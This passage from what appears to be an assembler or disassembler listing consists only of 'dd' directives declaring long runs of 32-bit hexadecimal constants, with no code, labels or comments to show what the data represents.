2B44FA57h, 0D166EA78h dd 0E859564Ah, 0BC90B749h, 16C3201Dh, 6D78BEDBh, 1415C08Ah dd 12E0EC36h, 8330576Eh, 0F17F1899h, 6B5F61FBh, 186F23B5h dd 0C969D76h, 6514FDACh, 8529DBDDh, 0E9AB0234h, 1A1D0BBBh dd 0F10FC378h, 184BBD12h, 0EAC4407h, 4F779D60h, 8E5A15BAh dd 0BD5F0BE7h, 352D9C83h, 12109DB8h, 37D96E97h, 6A617306h dd 5DDAD901h, 0C3AF04A8h, 93CAB9E0h, 0F11356B1h, 87FC9AB5h dd 0D4B7E59h, 4EC9F034h, 0C12F8A70h, 0DCF5F8Ch, 1BC754E6h dd 55A1A7D0h, 2A61F265h, 1C312930h, 0F333B1CAh, 8BA8487Ch dd 71DF862h, 0EC04FB7Fh, 427EA4BEh, 5163C547h, 443AD496h dd 2105422Eh, 0F993866Fh, 0FAD0C0B4h, 762BD8D3h, 0A9924281h dd 80CA8B5Eh, 69B7C57Eh, 88FBEBAFh, 43029790h, 0ECD756FCh dd 5957B8D8h, 312A61AAh, 0C4946D0Ah, 0BE588F8Fh, 0C7220B02h dd 84CC907Dh, 9249F740h, 7BFD2E7Ch, 0EA3089C1h, 3C24A05Ah dd 88B5850Ah, 5C11F01Bh, 169307FDh, 8E793F40h, 15401708h dd 0A0A69CDh, 1A028B99h, 2D1645F5h, 0D8EFA873h, 0CCEDDD72h dd 16883E56h, 3D1BEAAAh, 0BA44FE7h, 0BEB748D4h, 863EAA60h dd 37E3FF7h, 1A89479Dh, 5A9679ABh, 0D554911h, 44806F59h dd 59655890h, 83C9A61Ch dd 35E26494h, 0C2E97C5Dh, 0CFD4E7D6h, 9C09FEAFh, 872D0A55h dd 5C55B4B1h, 0ABE55F51h, 0BFA89A41h, 41E0DC5Fh, 4F7DCCD2h dd 58C4C68Ch, 7FB84970h, 682217C2h, 59C045EBh, 14A227C5h dd 2437A354h, 70A6BBA6h, 5EB198F5h, 589D87E2h, 0D8CC67D9h dd 35A1C1F7h, 7AE03A2Bh, 0E931D3DAh, 6C80DF28h, 3CBBA319h dd 7B0E5479h, 0E14334F8h, 180CB96Fh, 53A687E2h, 0F9A855DAh dd 14E0994Eh, 0F5EABA2Ah, 745A92C5h, 50AEB762h, 4F5BB31Fh dd 0CDABB1B3h, 0FD5CDA01h, 1105DE46h, 95EB76ECh, 0B9C8DBBDh dd 21328F67h, 5C2A3B40h, 0E010AEEFh, 0ECB93D8Bh, 0D70D0A80h dd 1856A596h, 0DFC9034Ah, 77670F12h, 73A9C74Ch, 0A0B4B05Fh dd 6F27E344h, 9402D73Fh, 530F58BDh, 0DF478D04h, 0D8B6488Ch dd 322D4A0Eh, 0E524F539h, 12F546F4h, 76C0A536h, 590629D1h dd 69EC51BBh, 1F2BAD85h, 238F0C28h, 9241DC6Bh, 0CD2939DFh dd 31C0FB7Fh, 92DAB17Ch, 11DD02B9h, 0C9E7E86Ch, 0E81CAE0Dh dd 0EBB50C24h, 0D3A63B6Ah, 8B82A338h, 0D163F1E0h, 0BB4B0BCAh dd 0EF57E995h, 0D995031Bh, 0E9CC1C88h, 0B5D5BEDEh, 5665D788h dd 4C11E61Fh, 0A1703D49h, 96FB52C1h, 147584FBh, 0B51CB47Fh dd 28F69BA7h, 4520783Fh, 0C2EE5C0Bh, 471B0D33h, 6ECDFE1Bh dd 0A82BBC39h, 8B8217A8h, 54A9137Bh, 0FF608ACEh, 0A18315DFh dd 5F07326Ah, 0D2588EE0h, 3FCA9D46h, 0A2E29E69h, 373073F5h dd 988FF22Dh, 0B9DFE575h, 7EECC665h, 0C336F85Fh, 7AA76A0Eh dd 0B56F1C18h, 0AF5A2B3Ah, 540A4F66h, 9D23EDCAh, 5F2B37D3h dd 0F89578h, 9F9DD61h, 0B0AFDCB6h, 5F3AD304h, 81318596h dd 658CA63Bh, 50D023CCh, 1AC4859Dh, 0DA4BC7D6h, 3793AE19h dd 2A0E46F8h, 0AED7014Eh, 0BE6FDC68h, 7881A9C5h, 495C1DE8h dd 0C606064Eh, 0FFC97FD1h, 4ACC5E7Ch, 38B849E6h, 742094CDh dd 0A636B0A6h, 306EB401h, 57AAAD14h, 5213E2F7h, 0E801E631h dd 2C59857Dh, 0A59A420Bh, 1C7FBF1Dh, 0BD5DA851h, 0EA7A2493h dd 0B4B2F790h, 0CD9D3D3h, 0FD548687h, 36F3355Fh, 0CE796024h dd 0DC6859F6h, 26CAC2BDh, 0A62207A9h, 0CA788D98h, 0DC082B50h dd 0E3F74649h, 6C3C3B4h, 0CCBD7F30h, 1973381Ch, 7AC1DE98h dd 191F921Ch, 1BC1BE99h, 50362358h, 0A5A9770h, 0CC851EA1h dd 0C8341789h, 44E2F44Fh, 654A3882h, 0D7BE540Bh, 8CC60CFCh dd 0C8CA85CEh, 0D528060Fh, 4452D3AAh, 6F07F5ACh, 88E0E352h dd 3D910037h, 2F0F2172h, 12A59ED5h, 6DDC66FAh, 4EAE5A18h dd 3B534A69h, 0F008D6D4h, 3C1F247Bh, 55D522Bh, 4B5DABFFh dd 0A7711466h, 1CB8125Ch, 0B852EA23h, 0E1246AA4h, 2B2DABBCh dd 0A75442C8h, 0EC6449E7h, 6457EBF5h, 4C30B354h, 3A127DBFh dd 7ED3BE4h, 0C5F98F4Eh, 0F4BB0FE2h, 22A23987h, 0A563103Ah dd 8CC6A32Dh, 62AB4E1Ch, 1A16FF81h, 35FE20E7h, 0F44932CAh dd 28C93E18h, 5AFBE727h, 2F90F769h, 0F30514D1h, 553DD22Eh dd 0A7D7DBFh, 0DA4C29D1h, 8E47276Dh, 0E83E9045h, 7C556524h dd 0AA3A57A7h, 8574C3EAh, 28EACB78h, 8A81BA5Dh, 476C1AACh dd 0E7BE6668h, 0C60F8A5Bh, 0F50BDA25h, 6074CB6Bh, 95185087h dd 357F62C9h, 0BC6C6D6Eh, 19634D6Ch, 0C9744EDDh, 9CC39BD0h dd 0E9DDBBB2h, 90C1EE0Dh, 0E95F193Dh, 0FC90EE83h, 8E8EC230h dd 568985BEh, 0AB7EDEDFh, 0D15BE270h, 0BF71A7B2h, 5372E7B3h dd 9B0FC77Fh, 0BD7E5BBBh, 0A8296EFEh, 0BAE27D5Ah, 48EFA7C0h dd 0A0FA3B22h, 0BC25671h, 132DE514h, 0E7FFC732h, 43335344h dd 7DCC08B9h, 503A9E99h, 0AC50D1F6h, 24DF9C21h, 0CC4C3B03h dd 124D7E03h, 85BECE44h, 1B580A1Ch, 20FFA468h, 4C4D0FEFh dd 0F7AA2660h, 45D8AE7h, 0A38715ACh, 2922B584h, 8B34F45Bh dd 7FDFCB38h, 19E9473Fh, 0C538E19Bh, 81BDE2F7h, 44166951h dd 4EBCB472h, 702FE637h, 91D21847h, 0C25C9D71h, 7AA14ECFh dd 20CC5F23h, 5765E81Eh, 3451C41Ah, 0A0A09D6h, 73BE8A89h dd 0C53C02C4h, 0ECA43FE5h, 3F042632h, 71022A91h, 49D1F470h dd 0BD44AA54h, 2DD13EC9h, 0CB21087Dh, 0C7A494D2h, 8CAA62E7h dd 90C2961h, 628C0A73h, 0E84550C4h, 3413A66Ch, 3C10B1E2h dd 7B3C12A2h, 3AB3B71Ah, 0FD53AA4Eh, 0EDA52555h, 7D6E0F27h dd 0DBCA3673h, 9A77DBBDh, 0C1389666h, 0FA33FA5h, 0BF9700C9h dd 0C310204Fh, 6851C88Fh, 4AC1E0F7h, 246BC61Ch, 4DFD6B22h dd 195C0F93h, 0ABEAE7A3h, 5A32D963h, 0A7703FA0h, 0BFE937D0h dd 0D4C7C5D5h, 31D2AB19h, 0B7DD53C7h, 0DC156C07h, 0A4061E80h dd 0A17EDD9Ah, 44896613h, 6BE6B74Ah, 0F995CEA6h, 0CDD7E0C1h dd 0B3D2216Ch, 0A2794EC6h, 7EE75392h, 0F90DAED5h, 225E9AB7h dd 0E559DCA5h, 3FC36F20h, 64D8FCDBh, 863565F2h, 33FDCAFDh dd 0D2B7F2D0h, 1B58B003h, 55085F60h, 98FF4CBEh, 8502C677h dd 2EF342BBh, 0EE27137Ah, 0A9B3C0BCh, 29C32285h, 0EA1C5272h dd 99EF0F3Fh, 9086711Ah, 0BF0F36AFh, 480BF636h, 5C566C72h dd 0E5B95D52h, 2E5EC5EDh, 57885DD0h, 0CF6BA69Ah, 15C5613Dh dd 0B9F28BB0h, 0D7DD6702h, 22D869ABh, 3EEF10C9h, 0F6E735CDh dd 560F99Dh, 0DEC4E07Ah, 2F24E0EAh, 0BA6DB6B1h, 2E077469h dd 5D765740h, 0B586611Bh, 0FD3BDC17h, 45C289A2h, 2E4F9E6Bh dd 88CEFE63h, 70943C4Bh, 0C4E0E6Ch, 3C0DBD60h, 0B1BBE493h dd 1126A06Ch, 4EED1EE0h, 0DDAA840Ch, 0DE09C89Fh, 6C7E0FF6h dd 0BF82DE55h, 0A88C660Ah, 13108D8Ch, 0F9C927AFh, 295CA1A4h dd 957BC586h, 0EFFD0AEBh, 0A632A090h, 3A86F3CCh, 0B7D213C7h dd 4E6661D5h, 9DA79C63h, 4F9186E3h, 51AA7D1Ah, 13ACEF62h dd 3A922D36h, 0D113C49Ch, 332C0B2h, 4482D98Bh, 7DA1B975h dd 7A867149h, 804ABBAFh, 896BCCCDh, 0DF290BA7h, 0EB6A5958h dd 37E0D7BBh, 8343266Dh, 12D08013h, 1241AA3Ah, 27AF2181h dd 7234A07Bh, 97B5E146h, 8F59BC28h, 0D5727FDDh, 0CF0FECB5h dd 276A014h, 347EE38Fh, 0F869176Dh, 0ADE3E7B5h, 0FA4A61F5h dd 1EE3439Eh, 0CD1D9924h, 1A77E7Ch, 9CE7C42Dh, 6A7DDD22h dd 0E0BD5527h, 715EA922h, 0D95BB7DDh, 3A97307Dh, 8F1AF9E9h dd 0C176EF83h, 0E4743A55h, 9AF2B885h, 2DB7C42Ch, 59C221C7h dd 0CDCF9455h, 0F82D95CEh, 0FDA6E2DEh, 181149DAh, 0C15DBD15h dd 397299D9h, 0E71B1F0h, 12D5A520h, 5B95642h, 70D07478h dd 2DB30BF5h, 18342F2Ah, 0CAD654EAh, 0A9CE06E8h, 0E6A1ADFh dd 0A05A2B56h, 19C4F49Ah, 0E9DF065Ch, 7A2BD47Ch, 0EE84BC21h dd 0CCEE0061h, 981CF8F1h, 0CC22E217h, 93304E08h, 7F6319FAh dd 7ACF2AD1h, 0EC998BD4h, 38301897h, 9956DE22h, 0B55B0F1Bh dd 2D958969h, 5E071C8Eh, 175CC1E9h, 54666F69h, 90200981h dd 54CBDCBCh, 4F746A54h, 808CF41Ch, 0D8997E8Dh, 0E77F48D9h dd 0B46C55CDh, 0C6E54ACCh, 0EC994E96h, 0A04DB9E3h, 79217A49h dd 338C6907h, 22D15471h, 0D986B9A4h, 0BB139546h, 19F3C4BFh dd 3E5C194Ch, 0D832BC46h, 7043B65Bh, 1DCF3FE9h, 0FC246BCFh dd 0BD66234Dh, 0D8B2C117h, 58468FE1h, 0F1F88120h, 379E7273h dd 4F93571Bh, 3C93EB40h, 2B51BCAFh, 0EEA2941Ch, 0F46382DCh dd 4789748Dh, 0A993D638h, 0CBE98BF3h, 0D6F669DAh, 560571A9h dd 0ADBDB13h, 0A937E8D4h, 0A45C1158h, 4381A56Fh, 209D4918h dd 7CD05EE3h, 0E2CA967Ah, 78D76CAFh, 0FB2E420Dh, 91865AD9h dd 0D3F0935h, 57B7172Dh dd 0B4138585h, 0EA50C54Bh, 1399B161h, 54E93B3Ah, 2E35C970h dd 0BF8739DFh, 58939CBBh, 37B4F54Ah, 0EC80B45Ah, 7F669980h dd 7BBF802Bh, 54237972h, 4F882D82h, 8F059574h, 0D4465903h dd 0E6AE263Ah, 0CCB2E6C3h, 733098ADh, 0F1570DEBh, 14852C49h dd 0D5D692CDh, 876DE3F0h, 960435E8h, 91DDA2C2h, 0E0BA11D7h dd 0DCE586A7h, 7A116A7h, 0DB29DD93h, 162A287Eh, 95EF6700h dd 0CDDCC4C6h, 8BEBC7DCh, 0C37C750Dh, 126EBE91h, 81C579EDh dd 0E8060830h, 59DB2D1h, 2CA55709h, 0A0B9CBDFh, 0F1EF2282h dd 0F0434D49h, 0E6B3D1C9h, 0E608612Ah, 0A74D506h, 0B4D4CC0Fh dd 85E5B2E4h, 26FD9689h, 61878617h, 82743E6Ah, 3EA287DBh dd 451B2A1Eh, 6C23C17Eh, 0EEC2E16Fh, 0E24C2867h, 7188F706h dd 0BB23A045h, 60B1F51Bh, 0FA4F9C7Fh, 0FD199727h, 98D4D1DBh dd 0CEC2AF92h, 1252691Fh, 97D986FEh, 83A661AFh, 0E97B35D9h dd 0D5F33A9h, 74681ED5h, 0D955F1FDh, 9F6019C7h, 0B0928DDCh dd 0C9E65B65h, 0D48C7669h, 3C9CABDCh, 9FEF0895h, 0C3604FDCh dd 0F51807CCh, 5C0B6262h, 2E49859Fh, 7607F0F3h, 3ACE1A02h dd 2478CC78h, 936E31DFh, 5A0F040Dh, 35A44DAEh, 7A7C942Ch dd 7603C9B1h, 0FF430DE5h, 95ADED45h, 0BA9F8654h, 0E5CC01AEh dd 0E71ECC98h, 0E8BCB028h, 0DEF728BFh, 0F2E31BDEh, 0D1D28BB9h dd 0F53E6803h, 1DE2081Ah, 0A5DB1B57h, 0E3D2AF9Ch, 0D247B404h dd 0D1E5FFECh, 2581278Ch, 0A6EB0B27h, 0B93687A8h, 0F6A7A457h dd 0D2E3226Bh, 0EAA14421h, 0ACD0174h, 0AB07E854h, 0FA87CECBh dd 0AE2B121Dh, 0A31B469Bh, 22CB2998h, 27F2F95Fh, 0C5C3F1F5h dd 6BEFCADEh, 0E5CCC680h, 0D27152FCh, 3B2A6B0Eh, 5ED77D7h dd 18613CC8h, 0AD77836Ah, 1BC1CD15h, 0F48D11F0h, 75682172h dd 936CA502h, 0A157CB04h, 0D7BA1558h, 1386F3A7h, 0AE26AA84h dd 0CBDFAD60h, 11B8559h, 8ABC8FC3h, 0FFB54636h, 0EBF2F55Dh dd 0B7956C2h, 6D3E4EEFh, 0B2BD4D8Dh, 709367Dh, 57A2A1EDh dd 0FECD0F23h, 0FC62E9BCh, 429B6BC9h, 0EDDF16F0h, 0AB17E56Ch dd 17B95D65h, 0FC72831Bh, 5BA10EA9h, 62FC1060h, 83807440h dd 0F24CCE36h, 284E59C7h, 7F9B4D24h, 9CFBC611h, 0ECFDB6B3h dd 6299441Bh, 0C4F8C5EFh, 0B51C4C48h, 9BE5D115h, 0E57E7262h dd 8164C24Ch, 0A45C339Fh, 0D44E32E6h, 0B6AC1AB4h, 0C0F1E355h dd 9C02D770h, 0C1126B8Fh, 2B3666E2h, 0E01C8ED8h, 368D2E19h dd 0FA411171h, 5AEF38DCh, 2DBE6E3Ah, 0DE54B4B1h, 302DBC85h dd 0DF8BC6Ah, 0E0F289F1h, 0BFCFA31Ch, 7D28601Ch, 0BCDB7517h dd 11F118B6h, 14174814h, 62E4BA2Ch, 268D5E8Bh, 95767EFCh dd 774390DEh, 259EDD22h, 53DD178Ah, 0C4A7F572h, 0EB79AFBEh dd 0ACC24CC6h, 0B12F3AC9h, 12D8854h, 2F51705Fh, 0A0086E80h dd 0C1A0326Dh, 269CAFh, 161F9483h, 5EC67D3Eh, 0E934DA78h dd 0D8C891FBh, 0E83BD7B8h, 14672290h, 220CAB48h, 1EA9E3AAh dd 574F7EE9h, 33F2B486h, 7FED60FBh, 2C5CE326h, 0D524E0DCh dd 0F00CBFECh, 7E24FFDCh, 17C6AA50h, 8C48ABA0h, 77F58705h dd 623A92DFh, 0EA6B9F6Bh, 0CA19655Eh, 0F3CAB34Dh, 66E8198h dd 75357FB4h, 9923F73Dh, 0B1A6B7E8h, 706A324Fh, 2358864Ch dd 0A90DBE10h, 62EB6E10h, 0A5502BD1h, 0D0401B65h, 6F87731Ah dd 9E48A929h, 7B05BC5Bh, 397DD0CFh, 3E7F8E48h, 24D85717h dd 0BF22D502h, 690B9E28h, 95EA87BCh, 0B3243172h, 835409CAh dd 3B6BCA36h, 7958268Ch, 2CCD044Bh, 2EB6552Fh, 712A768Ch dd 7BAF8F62h, 65E889E2h, 1428DEBEh, 1E15414Dh, 3D8EADBCh dd 15DDD2FCh, 0DD852A83h, 8FBE6D8Ch, 21F94AEAh, 7100F57Fh dd 0AAC05D25h, 219718E5h, 0AE411BEBh, 884E5DDh, 7FD3D7ACh dd 9B67AE67h, 6AFAF266h, 280A636Eh, 0F9CD2668h, 74CF0EEh dd 72A353E6h, 0BC1E821Ah, 0D2627CA4h, 0C33D79Eh, 0A72056E9h dd 0E9AF3996h, 5AF2DF9Bh, 0B0BB1CF6h, 0DBBB2A2Bh, 614AFDEDh dd 18C1AFF8h, 2F7EDE83h, 0D8E9A3C1h, 2AFCCE58h, 0E9463B8h dd 298C65Eh, 578169BEh, 619DA674h, 51721C28h, 0ABF8AE66h dd 4F7461F9h, 7050D224h, 3A12B19Bh, 0AF0CEBAAh, 5B4D5587h dd 8293DAB9h, 3EE2E6C1h, 0A7A55F1Eh, 77EEBC9Bh, 0E5C1F45Ah dd 0C1E37A30h, 0F8ACB4FBh, 91CC66A6h, 2964AF5Dh, 0C03AA9E1h dd 5C37798Bh, 735C4B84h, 5CA1CBE1h, 0EF90B7FAh, 196904E8h dd 0EBFE59B9h, 335BC09Dh, 0E45B4447h, 52E4E79Ch, 70210134h dd 0AF0C2B5Ah, 526F5E94h, 9B68FCA9h, 3420FAD5h, 0AE10BBABh dd 71FFB5A9h, 35571511h, 5E2AE37Fh, 688801Dh, 51814C84h dd 13362A53h, 266FF3A3h, 0F4C883E8h, 397B6970h, 4C4FDA77h dd 916EF687h, 0C5758BDAh, 0B76C3DDBh, 0B98AC0EFh, 0D926BD58h dd 0F36DEE60h, 0D0376284h, 2642E87Dh, 0BDEC2480h, 0C4E17A1Ah dd 0D9FD9D47h, 5AC99EF6h, 6310777Ch, 97F1F9FEh, 0A6610E28h dd 5F318BDCh, 0D514062Eh, 17B81347h, 93759912h, 0DE6407E4h dd 0B5E9209Eh, 0B8663BB0h, 277D8437h, 0A7872C2Dh, 98161B2Eh dd 0C054AECAh, 14D4C214h, 9FC6F88h, 0E21441BDh, 781E8200h dd 2ED276F7h, 0C8491418h, 0EF7577F3h, 0DA2B8F4Bh, 690FB935h dd 6C0F4A8Dh, 4769F075h, 5D3C0A3h, 9B407932h, 7E191153h dd 63E83DECh, 73EC92CEh, 0C26482E8h, 0B3FB9D13h, 0E6348BFDh dd 946AD13Ch, 764F34A9h, 233FF9D8h, 0A6BEF1A8h, 49860690h dd 2ADF794Fh, 0C95C97C4h, 8736E8E1h, 0D2E50D83h, 574BCB49h dd 93AF1572h, 0D304E291h, 5FD3E1AFh, 0E11B07F8h, 0D3625588h dd 0A10D1DA5h, 8CEBF5DEh, 0CB783677h, 3C605444h, 89006A64h dd 3D5B2B6Ah, 2D6D1201h, 77DA5994h, 1E131666h, 0F91D267h dd 6C92AF0Dh, 544DED15h, 0B0ED193Eh, 0F773762Dh, 31E4D466h dd 0DAB14753h, 0A7E1BC12h, 0BD12F014h, 0F851381Ch, 684C6A99h dd 7C7CE144h, 0C101FAA3h, 8B620C0Fh, 39846A01h, 0C9D2357Fh dd 5178F7A0h, 493D7EBCh, 2A8594F0h, 1CB5FD8Dh, 211907B1h dd 4826D0A5h, 0D9469207h, 1B51766Ch, 33E3EF46h, 35C85009h dd 0EF2DAA39h, 4F5031F5h, 17DB924Bh, 8B58A5E1h, 0FD1FA9E4h dd 0BEFC0119h, 0D3829772h, 0F0E40141h, 49A6F08Ch, 0C3508F23h dd 12923340h, 0F25C626h, 0C3AD2E59h, 1ED716B2h, 4D6FE58Ch dd 52BAC1B2h, 0C0A20284h, 7F8F3491h, 0E94C731Ah, 0BD7E1E2Ch dd 3AEE7A5Ah, 0B5D5DC8Ch, 0AB601EE1h, 754A9274h, 6B1E04A0h dd 6A4E45BBh, 98D13B4Bh, 762D4557h, 9376CD1h, 11E76735h dd 13A5B9B3h, 22F9D48h, 746358A6h, 1BC6A430h, 1B23F89Ch dd 8D96679Ah, 0ABCC41CAh, 0BA4D71F9h, 0DE97B259h, 0E23782F1h dd 6EA93ECFh, 0E67D21B3h, 0DE0C00DDh, 10E25ED5h, 0E61A5C8Ch dd 6013E3BEh, 2F64972Fh, 2C7DD36Dh, 0A6D32A85h, 9348FEC1h dd 87B8EB74h, 7933B110h, 0D5A79F4Ah, 0DE0E6C14h, 2EA4ED5Eh dd 0A92C0640h, 0B49A1905h, 0C607421Bh, 0B2ECEC6Eh, 97698951h dd 37657C64h, 1D173745h, 3A0E5E66h, 74DE344Ah, 0B4AF4EA4h dd 7950B8A1h, 0BFDFEA46h, 3702062Bh, 0E47A3DCh, 0BF7D0C4Ah dd 0EFE4BB66h, 7C0D1517h, 0AC6E7F95h, 87F3834Bh, 0E3832371h dd 0FF9C1179h, 77F2A0C7h, 0D0B0D350h, 65E58512h, 904ECCBDh dd 0F5A824Ah, 4B58E727h, 368BBCB9h, 6C7997B5h, 0FE8B8625h dd 8733EC39h, 0AA1F6C02h, 43D56674h, 0AF53EF97h, 6279473Bh dd 8AF79031h, 0BB5F87A3h dd 0B89A86DCh, 0DF099287h, 0EACE99B1h, 0F532189h, 6AE3525Bh dd 822AE78Ah, 6A49116Bh, 5E21C08Dh, 990B7F37h, 17D46D21h dd 71134F05h, 4A7C8E62h, 0D4A8799h, 549C63C4h, 0E2EA348Eh dd 0EDEB4234h, 0DC035F57h, 7E8E41FFh, 50A57886h, 59F8FFF5h dd 0AC73D72Ah, 0D8ABB06Bh, 0B7B04EB7h, 5A73E00Eh, 0B35BD1CBh dd 0AD0F4E7Ch, 0A9143CB4h, 3A87B252h, 0ECD76C5Fh, 0B00B281Dh dd 78625607h, 5F83A2B7h, 0E8BEF1E1h, 2CEBAC32h, 88AEBB10h dd 441100FCh, 9542A369h, 0D7EF39C0h, 0A4C6B6E4h, 0EE793489h dd 22D6A8C0h, 7B3F5E89h, 0DE34F397h, 415BBEFFh, 0AF79C91h dd 1551A248h, 7CDD37BCh, 1E90049Fh, 24B07896h, 759E98ADh dd 1BE7740Dh, 0D30A74D7h, 430DC601h, 9D1DF7D9h, 0D599ADE4h dd 29D79CE4h, 685777CEh, 95F590C1h, 1F9D05E3h, 7926C0ADh dd 8492EAEEh, 0A5423992h, 0C584BA6Dh, 0EDEEEF63h, 3A2B7128h dd 0F40780ECh, 9036B17Dh, 8DC070BDh, 0B5275695h, 3187C73Ah dd 190EBDE7h, 8172001Bh, 0D3970F68h, 84E9C76Fh, 566EED07h dd 0AA8084EEh, 0A20BFD9Eh, 58980CB3h, 0F3B34FCFh, 7CEC0998h dd 0FECDF622h, 0BEF82A7Ch, 16ACEF18h, 84A13ED2h, 0DDBC3A27h dd 0FBB47459h, 91DD10B7h, 587E391Ah, 0A3626F5Ch, 3B46B6F4h dd 570BF29Dh, 3AB789Fh, 8F8D0A52h, 0E0FF1516h, 0E99B68BDh dd 2D944897h, 0DE58D799h, 341996B8h, 397DE4B2h, 0A0CE4977h dd 0E504E285h, 7FFD66D6h, 0DFA22780h, 0FC1C9A1Bh, 0AFF90DA6h dd 63C2385Bh, 399BFA5Eh, 36852621h, 2E32ACCCh, 6E1E8B4Ch dd 0E69F0ECBh, 642A9067h, 0A8743470h, 7404F684h, 2039E51Ah dd 2FDA0ADh, 0F8C6F1Fh, 5DF204C1h, 8470C207h, 0A174201Fh dd 316697F9h, 3E0A7DABh, 25F45D45h, 76857024h, 0FB2F3E4h dd 0C04FEEAh, 1ED679CAh, 0BA41699Bh, 0CE61E35h, 8BE99133h dd 79B8D54Fh, 5F2E2775h, 914C30E9h, 696BA34Ch, 0B55E4C7Dh dd 7BA1E85Ch, 302E1D20h, 7B73585Ch, 2CDC7236h, 0F1FC2774h dd 561AAA53h, 0E5DFA593h, 6809B1A7h, 524BBD53h, 8CE3244Fh dd 826068A8h, 0ECF49F2Eh, 1B59B2DCh, 0A93BC088h, 1B35152Ch dd 89E871B3h, 501A132Fh, 1CD550ADh, 417D5285h, 9B73359Ch dd 1CD12648h, 1AE7531h, 2CD711F1h, 0C7EE2B4Dh, 0D016C2D4h dd 0F9C60808h, 25A9DEB3h, 0ABD50E29h, 0F592F824h, 0EEB55A21h dd 74979B32h, 9F989387h, 177A7130h, 5962D662h, 22F81A81h dd 0EB37A208h, 0E5A80Bh, 774D07F8h, 553057A7h, 0FE1FD246h dd 0EB680BCBh, 8291996Bh, 0C0C00BAAh, 0F3B95415h, 0DA3E1159h dd 7A1FCBA1h, 0DADA6FFAh, 0E8841082h, 29D87FB1h, 194ADB8Eh dd 88AD557h, 1166E48Dh, 95B2D9A9h, 0DC086734h, 7A1E0445h dd 0F8FDBDCEh, 6BCDFDFBh, 9E709DA3h, 0EB60B46Dh, 0B7F2ED3Dh dd 0F5C1271Ch, 182CE6E7h, 91343395h, 0BC64B1D9h, 3A3745BCh dd 97E4DEA4h, 0D6D16F1Ah, 53E7DC94h, 0CEC4BDC4h, 2C34F32Bh dd 0E2E7687Eh, 2FBFD01Ah, 3FFB3FCDh, 6D6B8D58h, 0F92483C0h dd 47B430C8h, 8C5C9FF7h, 13199FABh, 0A5FC4D74h, 9C50AE28h dd 475DE728h, 34FE2F02h, 67C7855Dh, 44D86B43h, 40576504h dd 214D665Dh, 0CD4F6647h, 45FC1998h, 4036B757h, 0AA5B261Eh dd 2EEFA438h, 3486B6C7h, 394FC3C7h, 0B7D4DBE7h, 0D1317887h dd 689A36CDh, 47A24632h, 0EFF04D7Ch, 1A061AE1h, 0A8AADB81h dd 7A7C84A8h, 0E4332AFDh, 0AB625F49h, 0F70CA9EFh, 7A61BFF1h dd 9B28AF75h, 9E5E3AF4h, 862D9F16h, 0AAE78567h, 44283EDh dd 46DA0ADCh, 608BDBF7h, 960E09E4h, 9FB6979Ah, 0A036392Dh dd 109D40B1h, 3722D524h, 16312193h, 0D92AE48Ah, 0B118A06Ch dd 168404A4h, 843F6CDFh, 0B94E1050h, 9D4D2ED3h, 0FDD94A2Fh dd 416C29ADh, 864F919h, 4D2083D0h, 0E5F33807h, 0BCD3B37Dh dd 2BEB86DBh, 0AE7AD18Ch, 0F0613CB0h, 0C6022938h, 0F31BF01Bh dd 5AA0B856h, 9B604F0Dh, 16284C1h, 0A4BAAC71h, 0CD1B9701h dd 9188A919h, 0CAA4E5B3h, 0E9FC348Bh, 0FF9645C2h, 3DF24B5Eh dd 0DD86DEF4h, 71CB6D84h, 9CB881CEh, 6A0921F6h, 474D110Ch dd 82C1C08Eh, 4504BF76h, 7739BC83h, 0DA7E7555h, 0D83A8DEAh dd 0BBB8BBBAh, 0EB67A391h, 15393094h, 0FDFC55Eh, 504BDA32h dd 5704CEBDh, 4A58329Ah, 0D472A30Fh, 662792C9h, 0D28A37E5h dd 0BADB136Eh, 5D55201Fh, 0D9B5A82Fh, 6815F3DCh, 7078DE8Ah dd 6C9D4E98h, 0FE5D821Bh, 76AF7C24h, 0B1B21FF0h, 1E92A620h dd 8A3EEA7Bh, 0A127B64Ah, 67D50C4Ah, 67A41E94h, 25DBBBB0h dd 0DAF78F01h, 0D4F5E394h, 0E35CF29h, 0FB024B4Bh, 6DC688F9h dd 8E399CE9h, 4605E177h, 7D8391CCh, 4874094Ah, 0A97B491Fh dd 8BBE1040h, 31603A17h, 0C4D63D0Fh, 6FF661BEh, 0C95ACE5Ah dd 0EB40A9D4h, 0BF9FEC19h, 1F29D16Ch, 41C27197h, 46D54752h dd 3D0777CFh, 0A9853A15h, 29EA8736h, 55FAA8F6h, 523818Ch dd 46E8E687h, 7776B54Bh, 4607DEA1h, 77238549h, 0CB81C76Bh dd 5B0312F7h, 8250C21Bh, 7F2C919Bh, 1D0EF037h, 6B0DD111h dd 0B1AF9E82h, 0BC37C8BDh, 3DCA9FADh, 95E13B4h, 0CCB92144h dd 0DCB8A1C5h, 24A7E81Fh, 0F34FEE3Ch, 4A7DEBEAh, 28FFB059h dd 7C52A3D3h, 0CDAAB029h, 0D83CA690h, 84CDABBFh, 891968A2h dd 7843133Eh, 2295D3C3h, 0F59AD475h, 54D86A31h, 46F84E85h dd 7F2D5AEAh, 0DDF261D2h, 84E3D387h, 87395AB7h, 0A7C5ACD9h dd 957C004Ch, 25B17C59h, 0D7314FA5h, 0DBACA04Eh, 7C80BC38h dd 1F2D7A65h, 11AE413Ch, 0D9922562h, 661C4397h, 0C557A801h dd 0D65694B5h, 32DFD5A2h, 2E18D70Fh, 0CEA82DCEh, 13B8B9F2h dd 0D04B973Fh, 226B0E77h, 834B0B90h, 55826E58h, 15256967h dd 0F0C758BEh, 0F3CD8685h, 0E778087Ah, 707E920Dh, 291C7E80h dd 1B418D6Ch, 0B6115561h, 28269CB4h, 0AD95B101h, 6381E39Fh dd 751CC5A5h, 0C36E29E6h, 0CBFCF042h, 63AA842Dh, 34DB613Fh dd 6ADCCDECh, 2EF9EBB0h, 7F36B77h, 7E5F12BEh, 24EAC5E7h dd 27AB66EAh, 88DFED75h, 417DEF29h, 0A1723508h, 9A07443Bh dd 2B473C57h, 0F0772346h, 62A80FF3h, 238B69D8h, 97005265h dd 21D95854h, 31FA7D58h, 0E36B4EDFh, 39A653D1h, 0F6C97FC4h dd 8DD28FC2h, 2A8C1076h, 99D9BF77h, 7A3F0E3Ch, 0C49D3B7Bh dd 614CB55Ch, 0BBE097D3h, 0BCC6DC58h, 0CA0B69E3h, 7E466FB4h dd 0AA02BBBFh, 0BFB41EC2h, 8BA039D4h, 0BA10DC41h, 57E9BAE0h dd 9DD85198h, 4DB3F7B9h, 55C61DE9h, 0E9802352h, 84C4AAA0h dd 916FDA0Ch, 9DD74361h, 3D25324h, 33CA03BDh, 547E97h dd 0FA8A6606h, 3E693490h, 0BFB93FA4h, 